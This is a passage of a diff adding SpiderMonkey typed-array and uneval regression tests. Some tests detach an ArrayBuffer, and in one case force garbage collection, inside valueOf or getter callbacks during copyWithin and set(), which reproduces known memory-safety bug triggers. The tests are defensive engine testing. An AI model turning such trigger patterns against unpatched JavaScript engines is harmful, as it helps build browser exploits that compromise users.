+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "typedarray-copyWithin-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.copyWithin shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, 0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+function testDest()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dest =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(dest, 0x800, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testDest();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-set-neutering.js b/js/src/tests/non262/extensions/typedarray-set-neutering.js
new file mode 100644
index 0000000000..23df8158c5
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-set-neutering.js
@@ -0,0 +1,45 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 983344;
+var summary =
+ "Uint8Array.prototype.set issues when this array changes during setting";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ab = new ArrayBuffer(200);
+var a = new Uint8Array(ab);
+var a_2 = new Uint8Array(10);
+
+var src = [ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ ];
+Object.defineProperty(src, 4, {
+ get: function () {
+ detachArrayBuffer(ab);
+ gc();
+ return 200;
+ }
+});
+
+a.set(src);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js b/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js
new file mode 100644
index 0000000000..fcfb031cb5
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 637643;
+var summary =
+ "new Int8Array([1, 2, 3]).subarray(1).subarray(1)[0] === 3";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ta = new Int8Array([1, 2, 3]);
+assertEq(ta.length, 3);
+assertEq(ta[0], 1);
+assertEq(ta[1], 2);
+assertEq(ta[2], 3);
+
+var sa1 = ta.subarray(1);
+assertEq(sa1.length, 2);
+assertEq(sa1[0], 2);
+assertEq(sa1[1], 3);
+
+var sa2 = sa1.subarray(1);
+assertEq(sa2.length, 1);
+assertEq(sa2[0], 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/typedarray.js b/js/src/tests/non262/extensions/typedarray.js
new file mode 100644
index 0000000000..02aaf7956e
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray.js
@@ -0,0 +1,657 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Vladimir Vukicevic <vladimir@pobox.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 532774;
+var summary = 'js typed arrays (webgl arrays)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+if (typeof numberToDouble !== 'function') {
+ var numberToDouble = SpecialPowers.Cu.getJSTestingFunctions().numberToDouble;
+}
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, msg, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ if (msg)
+ print (msg);
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, type, todo) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (typeof(type) !== 'undefined')
+ if (thrown) {
+ check(() => thrown instanceof type,
+ "expected " + type.name + " but saw " + thrown,
+ todo);
+ } else {
+ check(() => thrown, "expected " + type.name + " but no exception thrown", todo);
+ }
+ else
+ check(() => thrown, undefined, todo);
+ }
+
+ function checkThrowsTODO(fun, type) {
+ checkThrows(fun, type, true);
+ }
+
+ function testBufferManagement() {
+ // Single buffer
+ var buffer = new ArrayBuffer(128);
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the view first
+ buffer = new ArrayBuffer(128);
+ var v1 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the buffer first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ gc();
+ buffer = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill first view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ v2 = null;
+ gc();
+
+ // Buffer with multiple views, kill second view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v2 = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill all possible subsets of views
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 16; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
+ // Kill views according to the bits set in 'order'
+ for (let i = 0; i < 4; i++) {
+ if (order & (1 << i))
+ views[i] = null;
+ }
+
+ gc();
+
+ views = null;
+ gc();
+ }
+
+ // Similar: multiple views, kill them one at a time in every possible order
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 4*3*2*1; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
+ var sequence = [ 0, 1, 2, 3 ];
+ let groupsize = 4*3*2*1;
+ let o = order;
+ for (let i = 4; i > 0; i--) {
+ groupsize = groupsize / i;
+ let which = Math.floor(o/groupsize);
+ [ sequence[i-1], sequence[which] ] = [ sequence[which], sequence[i-1] ];
+ o = o % groupsize;
+ }
+
+ for (let i = 0; i < 4; i++) {
+ views[i] = null;
+ gc();
+ }
+ }
+
+ // Multiple buffers with multiple views
+ var views = [];
+ for (let numViews of [ 1, 2, 0, 3, 2, 1 ]) {
+ buffer = new ArrayBuffer(128);
+ for (let viewNum = 0; viewNum < numViews; viewNum++) {
+ views.push(new Int8Array(buffer));
+ }
+ }
+
+ if (typeof setMarkStackLimit === 'function') {
+ setMarkStackLimit(200);
+ }
+ var forceOverflow = [ buffer ];
+ for (let i = 0; i < 1000; i++) {
+ forceOverflow = [ forceOverflow ];
+ }
+ gc();
+ buffer = null;
+ views = null;
+ gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gc();
+ }
+
+ var buf, buf2;
+
+ buf = new ArrayBuffer(100);
+ check(() => buf);
+ check(() => buf.byteLength == 100);
+
+ buf.byteLength = 50;
+ check(() => buf.byteLength == 100);
+
+ var zerobuf = new ArrayBuffer(0);
+ check(() => zerobuf);
+ check(() => zerobuf.byteLength == 0);
+
+ check(() => (new Int32Array(zerobuf)).length == 0);
+ checkThrows(() => new Int32Array(zerobuf, 1));
+
+ var zerobuf2 = new ArrayBuffer();
+ check(() => zerobuf2.byteLength == 0);
+
+ checkThrows(() => new ArrayBuffer(-100), RangeError);
+ // this is using js_ValueToECMAUInt32, which is giving 0 for "abc"
+ checkThrowsTODO(() => new ArrayBuffer("abc"), TypeError);
+
+ var zeroarray = new Int32Array(0);
+ check(() => zeroarray.length == 0);
+ check(() => zeroarray.byteLength == 0);
+ check(() => zeroarray.buffer);
+ check(() => zeroarray.buffer.byteLength == 0);
+
+ var zeroarray2 = new Int32Array();
+ check(() => zeroarray2.length == 0);
+ check(() => zeroarray2.byteLength == 0);
+ check(() => zeroarray2.buffer);
+ check(() => zeroarray2.buffer.byteLength == 0);
+
+ var a = new Int32Array(20);
+ check(() => a);
+ check(() => a.length == 20);
+ check(() => a.byteLength == 80);
+ check(() => a.byteOffset == 0);
+ check(() => a.buffer);
+ check(() => a.buffer.byteLength == 80);
+
+ var b = new Uint8Array(a.buffer, 4, 4);
+ check(() => b);
+ check(() => b.length == 4);
+ check(() => b.byteLength == 4);
+ check(() => a.buffer == b.buffer);
+
+ b[0] = 0xaa;
+ b[1] = 0xbb;
+ b[2] = 0xcc;
+ b[3] = 0xdd;
+
+ check(() => a[0] == 0);
+ check(() => a[1] != 0);
+ check(() => a[2] == 0);
+
+ buf = new ArrayBuffer(4);
+ check(() => (new Int8Array(buf)).length == 4);
+ check(() => (new Uint8Array(buf)).length == 4);
+ check(() => (new Int16Array(buf)).length == 2);
+ check(() => (new Uint16Array(buf)).length == 2);
+ check(() => (new Int32Array(buf)).length == 1);
+ check(() => (new Uint32Array(buf)).length == 1);
+ check(() => (new Float32Array(buf)).length == 1);
+ checkThrows(() => (new Float64Array(buf)));
+ buf2 = new ArrayBuffer(8);
+ check(() => (new Float64Array(buf2)).length == 1);
+
+ buf = new ArrayBuffer(5);
+ check(() => buf);
+ check(() => buf.byteLength == 5);
+
+ check(() => new Int32Array(buf, 0, 1));
+ checkThrows(() => new Int32Array(buf, 0));
+ check(() => new Int8Array(buf, 0));
+
+ check(() => (new Int8Array(buf, 3)).byteLength == 2);
+ checkThrows(() => new Int8Array(buf, 500));
+ checkThrows(() => new Int8Array(buf, 0, 50));
+ checkThrows(() => new Float32Array(buf, 500));
+ checkThrows(() => new Float32Array(buf, 0, 50));
+
+ var sl = a.subarray(5,10);
+ check(() => sl.length == 5);
+ check(() => sl.buffer == a.buffer);
+ check(() => sl.byteLength == 20);
+ check(() => sl.byteOffset == 20);
+
+ check(() => a.subarray(5,5).length == 0);
+ check(() => a.subarray(-5).length == 5);
+ check(() => a.subarray(-100).length == 20);
+ check(() => a.subarray(0, 2).length == 2);
+ check(() => a.subarray().length == a.length);
+ check(() => a.subarray(-7,-5).length == 2);
+ check(() => a.subarray(-5,-7).length == 0);
+ check(() => a.subarray(15).length == 5);
+
+ a = new Uint8Array([0xaa, 0xbb, 0xcc]);
+ check(() => a.length == 3);
+ check(() => a.byteLength == 3);
+ check(() => a[1] == 0xbb);
+
+ // not sure if this is supposed to throw or to treat "foo"" as 0.
+ checkThrowsTODO(() => new Int32Array([0xaa, "foo", 0xbb]), Error);
+
+ checkThrows(() => new Int32Array(-100));
+
+ a = new Uint8Array(3);
+ // XXX these are ignored now and return undefined
+ //checkThrows(() => a[5000] = 0, RangeError);
+ //checkThrows(() => a["hello"] = 0, TypeError);
+ //checkThrows(() => a[-10] = 0, RangeError);
+ check(() => (a[0] = "10") && (a[0] == 10));
+
+ // check Uint8ClampedArray, which is an extension to this extension
+ a = new Uint8ClampedArray(4);
+ a[0] = 128;
+ a[1] = 512;
+ a[2] = -123.723;
+ a[3] = "foopy";
+
+ check(() => a[0] == 128);
+ check(() => a[1] == 255);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+
+ // check handling of holes and non-numeric values
+ var x = Array(5);
+ x[0] = "hello";
+ x[1] = { };
+ //x[2] is a hole
+ x[3] = undefined;
+ x[4] = true;
+
+ a = new Uint8Array(x);
+ check(() => a[0] == 0);
+ check(() => a[1] == 0);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+ check(() => a[4] == 1);
+
+ a = new Float32Array(x);
+ check(() => !(a[0] == a[0]));
+ check(() => !(a[1] == a[1]));
+ check(() => !(a[2] == a[2]));
+ check(() => !(a[3] == a[3]));
+ check(() => a[4] == 1);
+
+ // test set()
+ var empty = new Int32Array(0);
+ a = new Int32Array(9);
+
+ empty.set([]);
+ empty.set([], 0);
+ empty.set(empty);
+
+ checkThrows(() => empty.set([1]));
+ checkThrows(() => empty.set([1], 0));
+ checkThrows(() => empty.set([1], 1));
+
+ a.set([]);
+ a.set([], 3);
+ a.set([], 9);
+ a.set(a);
+
+ a.set(empty);
+ a.set(empty, 3);
+ a.set(empty, 9);
+ a.set(Array.prototype);
+ checkThrows(() => a.set(empty, 100));
+
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10]));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0x7fffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0xffffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6], 6));
+
+ checkThrows(() => a.set(new Array(0x7fffffff)));
+ checkThrows(() => a.set([1,2,3], 2147483647));
+
+ a.set(ArrayBuffer.prototype);
+ checkThrows(() => a.set(Int16Array.prototype), TypeError);
+ checkThrows(() => a.set(Int32Array.prototype), TypeError);
+
+ a.set([1,2,3]);
+ a.set([4,5,6], 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+
+ b = new Float32Array([7,8,9]);
+ a.set(b, 0);
+ a.set(b, 3);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+ a.set(a.subarray(0,3), 6);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 7 && a[7] == 8 && a[8] == 9);
+
+ a.set([1,2,3,4,5,6,7,8,9]);
+ a.set(a.subarray(0,6), 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 1 && a[4] == 2 && a[5] == 3 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a.set(a.subarray(3,9), 0);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ // verify that subarray() returns a new view that
+ // references the same buffer
+ a.subarray(0,3).set(a.subarray(3,6), 0);
+ check(() =>
+ a[0] == 4 && a[1] == 5 && a[2] == 6 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a = new ArrayBuffer(0x10);
+ checkThrows(() => new Uint32Array(buffer, 4, 0x3FFFFFFF));
+
+ check(() => new Float32Array(null).length === 0);
+
+ a = new Uint8Array(0x100);
+ b = Uint32Array.prototype.subarray.apply(a, [0, 0x100]);
+ check(() => Object.prototype.toString.call(b) === "[object Uint8Array]");
+ check(() => b.buffer === a.buffer);
+ check(() => b.length === a.length);
+ check(() => b.byteLength === a.byteLength);
+ check(() => b.byteOffset === a.byteOffset);
+ check(() => b.BYTES_PER_ELEMENT === a.BYTES_PER_ELEMENT);
+
+ // webidl section 4.4.6, getter bullet point 2.2: prototypes are not
+ // platform objects, and calling the getter of any attribute defined on the
+ // interface should throw a TypeError according to
+ checkThrows(() => ArrayBuffer.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.length, TypeError);
+ checkThrows(() => Int32Array.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.byteOffset, TypeError);
+ checkThrows(() => Float64Array.prototype.length, TypeError);
+ checkThrows(() => Float64Array.prototype.byteLength, TypeError);
+ checkThrows(() => Float64Array.prototype.byteOffset, TypeError);
+
+ // webidl 4.4.6: a readonly attribute's setter is undefined. From
+ // observation, that seems to mean it silently does nothing, and returns
+ // the value that you tried to set it to.
+ check(() => Int32Array.prototype.length = true);
+ check(() => Float64Array.prototype.length = true);
+ check(() => Int32Array.prototype.byteLength = true);
+ check(() => Float64Array.prototype.byteLength = true);
+ check(() => Int32Array.prototype.byteOffset = true);
+ check(() => Float64Array.prototype.byteOffset = true);
+
+ // ArrayBuffer, Int32Array and Float64Array are native functions and have a
+ // .length, so none of these should throw:
+ check(() => (new Int32Array(ArrayBuffer)).length >= 0);
+ check(() => (new Int32Array(Int32Array)).length >= 0);
+ check(() => (new Int32Array(Float64Array)).length >= 0);
+
+ // webidl 4.4.6, under getters: "The value of the Function object’s
+ // 'length' property is the Number value 0"
+ //
+ // Except this fails in getOwnPropertyDescriptor, I think because
+ // Int32Array.prototype does not provide a lookup hook, and the fallback
+ // case ends up calling the getter. Which seems odd to me, but much of this
+ // stuff baffles me. It does seem strange that there's no way to do
+ // getOwnPropertyDescriptor on any of these attributes.
+ //
+ //check(Object.getOwnPropertyDescriptor(Int32Array.prototype, 'byteOffset')['get'].length == 0);
+
+ check(() => Int32Array.BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(4)).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array()).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(0)).BYTES_PER_ELEMENT == 4);
+ check(() => Int16Array.BYTES_PER_ELEMENT == Uint16Array.BYTES_PER_ELEMENT);
+
+ // test various types of args; numberToDouble(2) is used to ensure that the
+ // function gets a double, and not a demoted int
+ check(() => (new Float32Array(numberToDouble(2))).length == 2);
+ check(() => (new Float32Array({ length: 10 })).length == 10);
+ check(() => (new Float32Array({})).length == 0);
+ check(() => new Float32Array("3").length === 3);
+ check(() => new Float32Array(null).length === 0);
+ check(() => new Float32Array(undefined).length === 0);
+
+ // check that NaN conversions happen correctly with array conversions
+ check(() => (new Int32Array([NaN])[0]) == 0);
+ check(() => { var q = new Float32Array([NaN])[0]; return q != q; });
+
+ // check that setting and reading arbitrary properties works
+ // this is not something that will be done in real world
+ // situations, but it should work when done just like in
+ // regular objects
+ buf = new ArrayBuffer(128);
+ a = new Uint32Array(buf, 0, 4);
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+ buf.a = 42;
+ buf.b = "abcdefgh";
+ buf.c = {a:'literal'};
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+
+ check(() => buf.a == 42);
+ delete buf.a;
+ check(() => !buf.a);
+
+ // check edge cases for small arrays
+ // 16 reserved slots
+ a = new Uint8Array(120);
+ check(() => a.byteLength == 120);
+ check(() => a.length == 120);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ a = new Uint8Array(121);
+ check(() => a.byteLength == 121);
+ check(() => a.length == 121);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ // check that TM generated byte offset is right (requires run with -j)
+ a = new Uint8Array(100);
+ a[99] = 5;
+ b = new Uint8Array(a.buffer, 9); // force a offset
+ // use a loop to invoke the TM
+ for (var i = 0; i < b.length; i++)
+ check(() => b[90] == 5)
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal({newCompartment: true});
+
+ var alien_view = alien.eval('view = new Uint8Array(7)');
+ var alien_buffer = alien.eval('buffer = view.buffer');
+
+ // when creating a view of a buffer in a different compartment, the view
+ // itself should be created in the other compartment and wrapped for use in
+ // this compartment. (There should never be a compartment boundary between
+ // an ArrayBufferView and its ArrayBuffer.)
+ var view = new Int8Array(alien_buffer);
+
+ // First make sure they're looking at the same data
+ alien_view[3] = 77;
+ check(() => view[3] == 77);
+
+ // Now check that the proxy setup is as expected in the cross-compartment
+ // case.
+ if (isProxy(alien)) {
+ check(() => isProxy(alien_view));
+ check(() => isProxy(alien_buffer));
+ check(() => isProxy(view)); // the real test
+ }
+
+ // cross-realm property access
+ check(() => alien_buffer.byteLength == 7);
+ check(() => alien_view.byteLength == 7);
+ check(() => view.byteLength == 7);
+
+ // typed array protos should be equal
+ simple = new Int8Array(12);
+ check(() => Object.getPrototypeOf(view) == Object.getPrototypeOf(simple));
+ check(() => Object.getPrototypeOf(view) == Int8Array.prototype);
+
+ // Most named properties are defined on %TypedArray%.prototype.
+ check(() => !simple.hasOwnProperty('byteLength'));
+ check(() => !Int8Array.prototype.hasOwnProperty('byteLength'));
+ check(() => Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty('byteLength'));
+
+ check(() => !simple.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => Int8Array.prototype.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => !Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty("BYTES_PER_ELEMENT"));
+
+ // crazy as it sounds, the named properties are configurable per WebIDL.
+ // But we are currently discussing the situation, and typed arrays may be
+ // pulled into the ES spec, so for now this is disallowed.
+ if (false) {
+ check(() => simple.byteLength == 12);
+ getter = Object.getOwnPropertyDescriptor(Int8Array.prototype, 'byteLength').get;
+ Object.defineProperty(Int8Array.prototype, 'byteLength', { get: function () { return 1 + getter.apply(this) } });
+ check(() => simple.byteLength == 13);
+ }
+
+ // test copyWithin()
+ var numbers = [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ];
+
+ function tastring(tarray) {
+ return [...tarray].toString();
+ }
+
+ function checkCopyWithin(offset, start, end, dest, want) {
+ var numbers_buffer = new Uint8Array(numbers).buffer;
+ var view = new Int8Array(numbers_buffer, offset);
+ view.copyWithin(dest, start, end);
+ check(() => tastring(view) == want.toString());
+ if (tastring(view) != want.toString()) {
+ print("Wanted: " + want.toString());
+ print("Got : " + tastring(view));
+ }
+ }
+
+ // basic copyWithin [2,5) -> 4
+ checkCopyWithin(0, 2, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // negative values should count from end
+ checkCopyWithin(0, -7, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, -4, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, 5, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, -7, -4, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // offset
+ checkCopyWithin(2, 0, 3, 4, [ 2, 3, 4, 5, 2, 3, 4 ]);
+
+ // clipping
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, 6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, 5000, 6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+
+ checkCopyWithin(2, -5000, 3, 1, [ 2, 2, 3, 4, 6, 7, 8 ]);
+ checkCopyWithin(2, 1, 6000, 0, [ 3, 4, 5, 6, 7, 8, 8 ]);
+ checkCopyWithin(2, 1, 6000, -4000, [ 3, 4, 5, 6, 7, 8, 8 ]);
+
+ testBufferManagement();
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "typed array tests");
+}
diff --git a/js/src/tests/non262/extensions/uneval/bug496985.js b/js/src/tests/non262/extensions/uneval/bug496985.js
new file mode 100644
index 0000000000..0f68288cc5
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/bug496985.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.uneval)
+
+var a = function() {
+ return function ({x: arguments}) {
+ return arguments;
+ }
+}
+var b = eval(uneval(a));
+
+assertEq(a()({x: 1}), 1);
+assertEq(b()({x: 1}), 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/bug566661.js b/js/src/tests/non262/extensions/uneval/bug566661.js
new file mode 100644
index 0000000000..51e142351e
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/bug566661.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.uneval)
+
+var f = function (q) { return q['\xC7']; }
+var d = eval(uneval(f));
+assertEq(d({'\xC7': 'good'}), 'good');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/function-bind.js b/js/src/tests/non262/extensions/uneval/function-bind.js
new file mode 100644
index 0000000000..263099cf07
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/function-bind.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-bind.js';
+var BUGNUMBER = 429507;
+var summary = "ES5: Function.prototype.bind";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq((function unbound(){"body"}).bind().toSource(), `function bound() {
+ [native code]
+}`);
+
+assertEq(uneval((function unbound(){"body"}).bind()), `function bound() {
+ [native code]
+}`);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/uneval/regress-231518.js b/js/src/tests/non262/extensions/uneval/regress-231518.js
new file mode 100644
index 0000000000..fc360f0870
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-231518.js
@@ -0,0 +1,99 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 231518;
+var summary = 'decompiler must quote keywords and non-identifier property names';
+var actual = '';
+var expect = 'no error';
+var status;
+var object;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+ status = inSection(1) + ' eval(uneval({"if": false}))';
+
+ try
+ {
+ object = {'if': false };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval({"if": "then"}))';
+
+ try
+ {
+ object = {'if': "then" };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(3) + ' eval(uneval(f))';
+
+ try
+ {
+ result = uneval(f);
+ printStatus('uneval returns ' + result);
+ eval(result);
